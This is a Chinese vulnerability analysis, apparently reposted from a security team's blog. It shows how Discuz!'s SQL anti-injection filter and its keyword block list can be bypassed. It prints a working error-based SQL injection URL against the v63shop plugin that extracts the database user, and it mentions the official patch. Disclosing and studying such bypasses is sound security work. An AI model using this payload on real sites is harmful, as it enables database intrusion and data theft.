来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 文章出自:SafeKey Team @Seay分析人:晴天小铸,Seay分析时间:2013年03月20日原文地址:http://www.cnseay.com/archives/2447SafeKey Team 致力于web安全,软件编程,逆向分析等方向研究。discuz介绍:C...
文章出自:SafeKey Team @Seay
分析人:晴天小铸,Seay 分析时间:2013年03月20日 原文地址:http://www.cnseay.com/archives/2447 SafeKey Team 致力于web安全,软件编程,逆向分析等方向研究。 discuz介绍: Crossday Discuz! Board(以下简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz! 的基础架构采用世界上最流行的 web 编程组合 PHP+MySQL 实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。 DIscuz v63积分插件被爆注入漏洞,某互联网公司公布了一个的绕过discuz防注入函数的“方法”,链接http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事实上文章中说的“/*”会被discuz拦截。并没有绕过,SafeKey Team分析了某互联网公司披露的discuz v63积分商城插件注入漏洞,发现discuz本身的防注入机制可以被绕过,且无限制。 Discuz防注入分析如下: 先看防注入配置: $_config['security']['querysafe']['status'] = 1; // 是否开启SQL安全检测,可自动预防SQL注入攻击 $_config['security']['querysafe']['dfunction'] = array('load_file','hex','substring','if','ord','char'); $_config['security']['querysafe']['daction'] = array('intooutfile','intodumpfile','unionselect','(select', 'unionall', 'uniondistinct'); $_config['security']['querysafe']['dnote'] = array('/*','*/','#','--','"'); $_config['security']['querysafe']['dlikehex'] = 1; $_config['security']['querysafe']['afullnote'] = 0; Discuz 执行SQL语句之前会调用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck类下面的checkquery($sql)函数进行过滤。但是过滤并不严谨,我们发现可以绕过改防注入函数。 public static function checkquery($sql) { if (self::$config === null) { self::$config = getglobal('config/security/querysafe'); } if (self::$config['status']) { $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' ')))); if (in_array($cmd, self::$checkcmd)) { $test = self::_do_query_safe($sql); if ($test < 1) { throw new DbException('It is not safe to do this query', 0, $sql); } } } return true; } 上面的if (self::$config['status']) {判断有木有开启防注入。最终会self::_do_query_safe($sql); 调用_do_query_safe() 函数。跟进该函数,在同文件的363行。 private static function _do_query_safe($sql) { $sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql); $mark = $clean = ''; if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) { $clean = preg_replace("/'(.+?)'/s", '', $sql); } else { $len = strlen($sql); $mark = $clean = ''; for ($i = 0; $i < $len; $i++) { $str = $sql[$i]; switch ($str) { case '\'': if (!$mark) { $mark = '\''; $clean .= $str; } elseif ($mark == '\'') { $mark = ''; } break; case '/': if (empty($mark) && $sql[$i + 1] == '*') { $mark = '/*'; $clean .= $mark; $i++; } elseif ($mark == '/*' && $sql[$i - 1] == '*') { $mark = ''; $clean .= '*'; } break; case '#': if (empty($mark)) { $mark = $str; $clean .= $str; } break; case "\n": if ($mark == '#' || $mark == '--') { $mark = ''; } break; case '-': if (empty($mark) && substr($sql, $i, 3) == '-- ') { $mark = '-- '; $clean .= $mark; } break; default: break; } $clean .= $mark ? '' : $str; } } $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean)); if (self::$config['afullnote']) { $clean = str_replace('/**/', '', $clean); } if (is_array(self::$config['dfunction'])) { foreach (self::$config['dfunction'] as $fun) { if (strpos($clean, $fun . '(') !== false) return '-1'; } } if (is_array(self::$config['daction'])) { foreach (self::$config['daction'] as $action) { if (strpos($clean, $action) !== false) return '-3'; } } if (self::$config['dlikehex'] && strpos($clean, 'like0x')) { return '-2'; } if (is_array(self::$config['dnote'])) { foreach (self::$config['dnote'] as $note) { if (strpos($clean, $note) !== false) return '-4'; } } return 1; } 该防注入函数的关键绕过代码在 if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) { $clean = preg_replace("/'(.+?)'/s", '', $sql); } else { 在discuz v63积分商城插件注入漏洞exp中并不需要斜杠、#号和—注释符。 所以会执行$clean = preg_replace(“/’(.+?)’/s”, ”, $sql); 原来SQL语句中两个单引号中间的内容就会被替换为空。 并不会进入到下面的else分支。Else下面的所有操作均是对$clean变量的操作。 所以绕过的思路就是把SQL语句放在两个单引号中间。对于mysql的一个特性, @`’` 是为空的,所以我们的攻击语句可以放到两个@`’`中间,即使GPC开启,单引号被转义为\’,而@`’`变成@`\’`对注入也是没有影响的,所以此绕过方法无限制。 即针对该注入漏洞的攻击EXP为: http://www.cnseay.com/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’` or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’` 调试输出SQL语句 可以看到我们的注入语句被替换掉了,所以后面的检查字符的时候并没有发现注入语句。 最终成功利用: 修复补丁: 看了下官网的补丁,检测了@符号,不理智哦,大家都懂的,不解释。。。 官网补丁:http://www.discuz.net/forum.php?mod=viewthread&tid=3234536 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com